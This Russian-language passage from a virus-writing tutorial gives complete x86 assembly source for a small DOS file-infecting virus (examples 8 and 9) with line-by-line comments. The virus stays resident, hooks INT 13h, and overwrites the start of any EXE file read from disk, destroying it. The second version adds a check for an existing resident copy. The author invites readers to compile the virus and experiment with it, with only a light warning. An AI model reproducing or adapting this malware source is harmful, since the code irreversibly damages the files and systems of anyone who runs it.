"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса

Вид материалаДокументы

Содержание


"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
Mov ds,dx ; ---+--> ds = 0 ¦
Подобный материал:
1   2   3   4   5   6   7   8   9   ...   16

"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.


Назад | Далее



-----------------------------------------------------------¬

¦ пример 7 ¦:

L-----------------------------------------------------------


;------------------------------------------------------------¬

; заготавливаем входные параметры для п/п-ы обработки INT 13h¦:

;-------------------------------------------------------------

MOV AH, 02 ; признак операции: читать

MOV AL, 01 ; сколько секторов читать: 1 сектор

MOV CH, 00 ; цилиндр: 0-¬

MOV CL, 01 ; сектор : 1-+-координаты MBR-"винчестера"

MOV DH, 00 ; сторона: 0-- (см. объяснение выше)

MOV DL, 80h ; дисковод: HDD

MOV BX,OFFSET bufferIO ; ---офсет---¬ буфер ---¬ т.е. в какое

PUSH CS ; --¬ +-вво- +- место в ОЗУ

POP ES ; --+сегмент-- да/вывода -- надо читать

; данный сектор

;-------------------------------------------------------¬

; даем вызов п/п-ы чтения сектора ¦:

;--------------------------------------------------------

INT 13h

;-------------------------------------------------------¬

; анализируем результаты вызова п/п-ы чтения секта ¦:

;--------------------------------------------------------

JNC no_errors ; если CF=0 (ошибок нет) -- едем дальше

CALL errors_treatment ; если же CF=1 (произошла ошибка), вызываем

; процедуру обработки ошибки


no_errors: ; если ошибок нет, то по адресу ES:BX в ОЗУ

; мы найдем прочитанный сектор с координатами

; цилиндр=0, сектор=1, сторона=0 (дисковод HDD),

; т.е. - MBR-"винчестера"


Наш примитивный вирус будет заражать определенный файл, когда его рези-

дентная часть обнаружит, что этот файл считывается с HDD в оперативку. Испол-

няемые программы считываются в ОЗУ, как правило, в момент запуска на выполне-

ние, => заражение будет происходить в момент перед запуском. Отметим, что за-

ражение произойдет и в случае простого просмотра файла (например - программой

wpview.exe - при нажатии F3). Возникает вопрос: как наш резидент узнАет, что

считывается именно исполняемый файл и -- как он сможет записать свой код в

тело файла? При помощи обработки по-своему прерывания 13h.

Любой EXE-файл (ТОЛЬКО ТАКИЕ ФАЙЛЫ БУДЕТ ПОРАЖАТЬ НАШ ВИРУС) начинается

со специального заголовка (и о нем мы поговорим). А этот заголовок непременно

начинается с сигнатуры MZ (признак .EXE файла).

Процесс считывания файла с HDD начинается с чтения сектора (или группы

секторов), с которых файл начинается, в определенный буфер ввода/вывода. Пос-

ле завершения этой первой операции считывания в буфере ввода/вывода будет

храниться начало файла и первые два байта будут говорить- с EXE- или не с

EXE-файлом мы имеем дело. Конечно же -- Вы совершенно верно догадались, что

об этом наш вирус сможет узнать, перехватывая и по-своему обрабатывая преры-

вание 13h. Получается что резидент должен следить за чтением каждой группы

секторов и каждый раз залезать в буфер ввода/вывода. Если в начале буфера

ввода/вывода сидит MZ, то активизируется специальная п/п-ма вируса -- вирус

заражает файл.

Теперь - внимание! - когда резидент обнаружит, что считалось начало EXE-

файла, у него (резидента) будет ПОЛНАЯ информация о том, в каком месте на HDD

лежит это начало, - ибо после считывания секторов входные параметры п/п-мы

обработки прерывания 13h ОСТАЮТСЯ ТЕМИ ЖЕ (портится кажется только регистр

AH) Следовательно, чтобы "заразить" файл - нужно лишь дать прерывание 13h со

входными параметрами, оставшимися от предыдущей операции считывания. Нужно

также лишь изменить значение AH с 02(чтение) на 03(запись) и переопределить

адрес буфера ввода-вывода (ES:BX) на свой сегмент кода. И - все!

Вот текст вируса (коментарии см. ниже):


-----------------------------------------------------------¬

¦ пример 8 ¦:

L-----------------------------------------------------------


TITLE Это - COM. программа N8 -- первый вирус (заражает ЕХЕ-файл)

ASSUME CS:CodeSegment

;-----------------------------------------------------------------------------

CodeSegment SEGMENT PARA

ORG(100h)

Start:

MainProcedure PROC NEAR

;

;

head: JMP initial ; перепрыгнем через данные

; ; и наш обработчик прер-я 13

; ; на инициализирующую часть

;

saved_int13: DD 0 ; данные (хранилище для

; ; адреса стандартного обра-

; ; ботчика прерывания 13 --

; ; -- 2 слова)

;

;

;-----------наша п/п-а обработки прерывания 13-----------------¬

int13_treater:;¦ ¦

PUSH AX ;-¬ ¦

PUSH BX ; +-сохраняем регистры,которые ¦

PUSH ES ;-- мы возможно испортим ¦

CMP AH,02 ;происходит чтение? нет -- слу-¦

JNE no_reading ; чай нас не интересует, -- мы¦

; ; глубоко разочаровались и пре-

; ; кращаем дальнейшую обработку¦

; ¦

PUSHF ;даем санкцию на чтение сектора¦

CALL dword ptr CS:[saved_int13] ;(секторов)-это сделает хозяин ¦

; ;(исходный обработчик) int13 ¦

; ¦

; ¦

CMP word ptr ES:[BX],5A4Dh ;читался .ЕХЕ ? (5A4Dh = "ZM") ¦

JNE no_EXE_file ; нет -- случай нас не интере-¦

; ; сует, прекращаем дальнейшую ¦

; ; обработку ¦

; ; ¦

; ;Ага ! -- вот и жертва !!! ¦

MOV AX,0301h ;будем писать на HDD 1 сектор ¦

MOV BX,OFFSET head ;--T--будем записывать себя ¦

PUSH CS ; ¦ ¦

POP ES ;--- ¦

; ; ¦

no_reading: PUSHF ;операция заражения или (если ¦

CALL dword ptr CS:[saved_int13] ; мы разочаровались) простого ¦

no_EXE_file: POP ES ;-¬возврата управления обработ-¦

POP BX ; ¦чику INT 13h ¦

POP AX ;-+----восстанавливаем регистры¦

IRET ; которые мы ¦

;¦ ; использовали ¦

;L--------------------------------------------------------------

;

;-----------инициализирующая часть-----------------------------¬

;¦ (здесь мы сажаем резидент) ¦

;¦ ¦

initial: XOR DX,DX ; ---¬ ¦

MOV DS,DX ; ---+--> DS = 0 ¦

; ¦

MOV AX,DS:[13h*4] ; сохраняем в хранилище ¦

MOV word ptr CS:[saved_int13 ],AX ; int13 адрес стандартного ¦

MOV AX,DS:[13h*4+2] ; обработчика прерывания 13¦

MOV word ptr CS:[saved_int13+2],AX ; ( OFFSET и SEGMENT ) ¦

; ¦

; ¦

CLI ;запрещаем прерывания ¦

MOV AX,OFFSET int13_treater ; ¦

MOV word ptr DS:[13h*4],AX ;кладем в таблицу векторов ¦

PUSH CS ; адрес нашего обработчика ¦

POP AX ; прерывания 13 ¦

MOV word ptr DS:[13h*4+2],AX ; ¦

STI ;разрешаем прерывания ¦

; ¦

; ¦

MOV DX,OFFSET rezident_end+1 ;DX<--конец резид. части ¦

; ; (а к ней относится ВСЯ ¦

; ; программа) ¦

INT 27h ;закончить программу и ¦

rezident_end: ;¦ ; вернуться в DOS, оставив ¦

;¦ ; резидентной всю программу¦

;L--------------------------------------------------------------

MainProcedure ENDP

;

CodeSegment ENDS

END Start


коментарии:

Прокоментируем лишь резидентную часть программы, ибо все остальное уже

до боли Вам знакомо.


В процессе работы мы, возможно воспользуемся регистрами AX,BX,ES => пе-

ред началом работы сохраняем их, а в конце -- восстанавливаем.

При обработке прерывания первым делом проверяем читаются ли сектора (нас

интересует только чтение) и, если нет -- возвращаем управление исходному об-

работчику INT 13h и на этом -- все.

Если сектора читаются, мы позволяем исходному обработчику INT 13h прочи-

тать их (команда CALL) и предоставить нам дополнительную информацию к размыш-

лению.

После того, как исходный обработчик INT 13h прочитал сектора -- проверя-

ем -- началось ли чтение ЕХЕ-файла (первые два байта в буфере = "MZ". Кстати

-- операнд команды сравнения будет 5A4Dh="ZM", а не "MZ" -- ибо сначала идет

младший байт, а потом -- старший). Если читается не начало ЕХЕ-файла, а

что-то другое -- свертываем нашу деятельность (восстанавливаем испорченные

регистры и делаем IRET).

Если же буфер начинается с "MZ", то -- мы заразим файл. Для этого изме-

ним AX: AH = 03(режим записи), AL = 1(записать 1 сектор). Изменим также коор-

динаты буфера ввода/вывода -- настроим его на код вируса ES = CS, BX = OFFSET

head. При этом все остальные параметры операции (куда записывать) мы унасле-

дуем от предыдущей процедуры чтения.

Мы записываем в начало файла-жертвы один сектор, т.к. наш вирус занимает

всего 82 байта - рекорд!


Ну вот, откомпилируйте и можете поиграть с программой. Только не взду-

майте выпустить этот варварский вирус в "открытый космос". Во-первых он дале-

ко не пойдет, ибо очень быстро себя выдаст (зараженные программы не работа-

ют), во-вторых -- это просто дурной тон. Для обеспечения минимального уровня

безопасности экспериментируйте в Volcov Comander-e и своевременно изгоните

вирус из оперативки. Вьювер у вас тоже не должен быть ЕХЕ-файлом! Ни в коем

случае не запускайте никаких иных файлов кроме выбранных в качестве жертвы. И

вирус будет абсолютно ручным. Возможен один прикол -- уже зараженный (следо-

вательно - необратимо грохнутый) файл выполняется как нормальный. Это связано

с кэшированием. ПосмотрИте на этот файл (вьювер должен быть СОМ-файлом!) --

и Вы увидите, что он заражен.

Этот вирус не проверяет длину заражаемого файла. Если он заразит

ЕХЕ-файл размером более 64 Кб, то при последующем запуске такой файл вовсе не

будет загружен (системный загрузчик выдаст сообщение об ошибке: File too big

to fit in memory).

У вируса есть еще один серьезный недостаток: он не проверяет, имеется ли

уже в памяти PC его резидентная копия. => каждый раз при зарпуске зараженной

программы будет возникать новый резидент. Будет сильно расходоваться опера-

тивка и замедляться работа PC.

Давайте исправим этот недостаток, - научим вирус определять, есть ли в

ОЗУ его резидентная копия. Это очень просто, - нужно лишь проанализировать с

чего начинается п/п-ма, на которую указывает адрес из таблицы векторов.

Вот как это будет:


-----------------------------------------------------------¬

¦ пример 9 ¦:

L-----------------------------------------------------------


TITLE Это - COM. программа N9 -- первый вирус (модификация)

ASSUME CS:CodeSegment

;-----------------------------------------------------------------------------

CodeSegment SEGMENT PARA

ORG(100h)

Start:

MainProcedure PROC NEAR

;

;

head: JMP initial ; перепрыгнем через данные

; ; и наш обработчик прер-я 13

; ; на инициализирующую часть

;

saved_int13: DD 0 ; данные (хранилище для

; ; адреса стандартного обра-

; ; ботчика прерывания 13 --

; ; -- 2 слова)

;

;

;-----------наша п/п-а обработки прерывания 13-----------------¬

int13_treater:;¦ ; ¦

PUSH AX ;-¬ ¦

PUSH BX ; +-сохраняем регистры,которые ¦

PUSH ES ;-- мы возможно испортим ¦

CMP AH,02 ;происходит чтение? нет -- слу-¦

JNE no_reading ; чай нас не интересует, -- мы¦

; ; глубоко разочаровались и пре-

; ; кращаем дальнейшую обработку¦

; ; ¦

PUSHF ;даем санкцию на чтение сектора¦

CALL dword ptr CS:[saved_int13] ;(секторов)-это сделает хозяин ¦

; ;(исходный обработчик) int13 ¦

; ; ¦

; ; ¦

CMP word ptr ES:[BX],5A4Dh ;читался .ЕХЕ ? (5A4Dh = "ZM") ¦

JNE no_EXE_file ; нет -- случай нас не интере-¦

; ; сует, прекращаем дальнейшую ¦

; ; обработку ¦

; ; ¦

; ;Ага ! -- вот и жертва !!! ¦

MOV AX,0301h ;будем писать на HDD 1 сектор ¦

MOV BX,OFFSET head ;--T--будем записывать себя ¦

PUSH CS ; ¦ ¦

POP ES ;--- ¦

no_reading: PUSHF ;операция заражения или (если ¦

CALL dword ptr CS:[saved_int13] ; мы разочаровались) простого ¦

no_EXE_file: POP ES ;-¬возврата управления обработ-¦

POP BX ; ¦чику INT 13h ¦

POP AX ;-+----восстанавливаем регистры¦

IRET ; которые мы ¦

;¦ ; использовали ¦

;L--------------------------------------------------------------

;

;-----------инициализирующая часть-----------------------------¬

;¦ (здесь мы сажаем резидент) ¦

;¦ ; ¦

initial: XOR DX,DX ; здесь мы анализируем, не явля-¦

MOV DS,DX ; ется ли первый из цепочки об- ¦

MOV BX,DS:[13h*4] ; работчиков прерывания 13 п/п- ¦

MOV ES,DS:[13h*4+2] ; -мой нашего вируса. ¦

CMP word ptr ES:[BX ],5350h ; (5350h,8006h,02FCh -- коды ¦

JNE make_me_TSR ; группы команд PUSH AX,PUSH BX,¦

CMP word ptr ES:[BX+2],8006h ; PUSH ES,CMP AH,02; сначала ¦

JNE make_me_TSR ; младший байт, - потом - стар- ¦

CMP word ptr ES:[BX+4],02FCh ; ший). Если вирус опознал себя,¦

JE I_am_TSR_already ; -- резидент не сажается ¦

; ; ¦

; ; ¦

make_me_TSR: MOV AX,DS:[13h*4] ; сохраняем в хранилище ¦

MOV word ptr CS:[saved_int13 ],AX ; int13 адрес стандартного ¦

MOV AX,DS:[13h*4+2] ; обработчика прерывания 13¦

MOV word ptr CS:[saved_int13+2],AX ; ( OFFSET и SEGMENT ) ¦

; ; ¦

; ; ¦

CLI ;запрещаем прерывания ¦

MOV AX,OFFSET int13_treater ; ¦

MOV word ptr DS:[13h*4],AX ;кладем в таблицу векторов ¦

PUSH CS ; адрес нашего обработчика ¦

POP AX ; прерывания 13 ¦

MOV word ptr DS:[13h*4+2],AX ; ¦

STI ;разрешаем прерывания ¦

; ; ¦

; ; ¦

; ; ¦

MOV DX,OFFSET rezident_end+1 ;DX<--конец резид. части ¦

; ; (а к ней относится ВСЯ ¦

; ; программа) ¦

INT 27h ;закончить программу и ¦

; ; вернуться в DOS, оставив ¦

; ; резидентной всю программу¦

; ; ¦

I_am_TSR_already: RET ; вернуться в DOS, без соз-¦

rezident_end: ;¦ ; дания резидентной копии ¦

;¦ ; ¦

;L--------------------------------------------------------------

MainProcedure ENDP

;

CodeSegment ENDS

END Start


Что здесь новенького? В инициализирующей---XOR DX,DX

части появилась группа операторов:------->---+ MOV DS,DX

Этот фрагмент анализирует, не лижит ли по ад-¦ MOV BX,DS:[13h*4]

ресу, лежащему по адресу 0000:004Eh, наш ¦ MOV ES,DS:[13h*4+2]

вирус. И если он там действительно есть, -- ¦ CMP word ptr ES:[BX ],5350h

джамп на метку I_am_TSR_already (обычный вы- ¦ JNE make_me_TSR

ход в DOS). Этот фрагмент обошелся нам в ¦ CMP word ptr ES:[BX+2],8006h

32 байта (чудовищная роскошь). Можно сделать ¦ JNE make_me_TSR

иначе - намного экономичнее - при посадке ре-¦ CMP word ptr ES:[BX+4],02FCh

зидента установить флажок где-нибудь на млад-L--JE I_am_TSR_already

ших адресах ОЗУ, и потом, при каждом новом за-

пуске, проверять его. Чтобы выбрать свободную

ячейку памяти на младших адресах - бегло просмотрите структуру области данных

BIOS. Информацию Вы найдете в /4/ (литература) или в /4/ (инструменты).

Ну вот, Вы уже кое-что узнали. Начало скромное но многообещающее.

На этом позвольте прикончить главу.